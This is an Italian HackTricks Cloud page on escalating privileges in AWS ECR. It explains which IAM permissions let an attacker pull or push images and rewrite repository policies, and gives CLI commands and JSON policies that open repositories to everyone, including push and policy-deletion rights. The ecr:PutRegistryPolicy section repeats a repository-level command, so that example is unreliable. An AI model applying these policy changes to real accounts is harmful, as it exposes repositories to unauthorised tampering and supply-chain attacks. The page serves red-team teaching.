AWS - ECR Privesc
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
ECR
ecr:GetAuthorizationToken
,ecr:BatchGetImage
Un attaccante con ecr:GetAuthorizationToken
e ecr:BatchGetImage
può accedere a ECR e scaricare immagini.
Per ulteriori informazioni su come scaricare immagini:
Impatto Potenziale: Privesc indiretto intercettando informazioni sensibili nel traffico.
ecr:GetAuthorizationToken
, ecr:BatchCheckLayerAvailability
, ecr:CompleteLayerUpload
, ecr:InitiateLayerUpload
, ecr:PutImage
, ecr:UploadLayerPart
Un attaccante con tutti questi permessi può accedere a ECR e caricare immagini. Questo può essere utile per elevare i privilegi in altri ambienti dove quelle immagini vengono utilizzate.
Per imparare come caricare una nuova immagine/aggiornarne una, controlla:
ecr-public:GetAuthorizationToken
, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload
, ecr-public:InitiateLayerUpload, ecr-public:PutImage
, ecr-public:UploadLayerPart
Come nella sezione precedente, ma per repository pubblici.
ecr:SetRepositoryPolicy
Un attaccante con questo permesso potrebbe cambiare la politica del repository per concedere a se stesso (o addirittura a tutti) accesso in lettura/scrittura.
Ad esempio, in questo esempio l'accesso in lettura è concesso a tutti.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Contenuti di my-policy.json
:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
Come nella sezione precedente, ma per i repository pubblici.
Un attaccante può modificare la policy del repository di un repository ECR pubblico per concedere accesso pubblico non autorizzato o per aumentare i propri privilegi.
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
Impatto Potenziale: Accesso pubblico non autorizzato al repository ECR Public, consentendo a qualsiasi utente di caricare, scaricare o eliminare immagini.
ecr:PutRegistryPolicy
Un attaccante con questo permesso potrebbe cambiare la politica del registro per concedere a se stesso, al suo account (o addirittura a tutti) accesso in lettura/scrittura.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.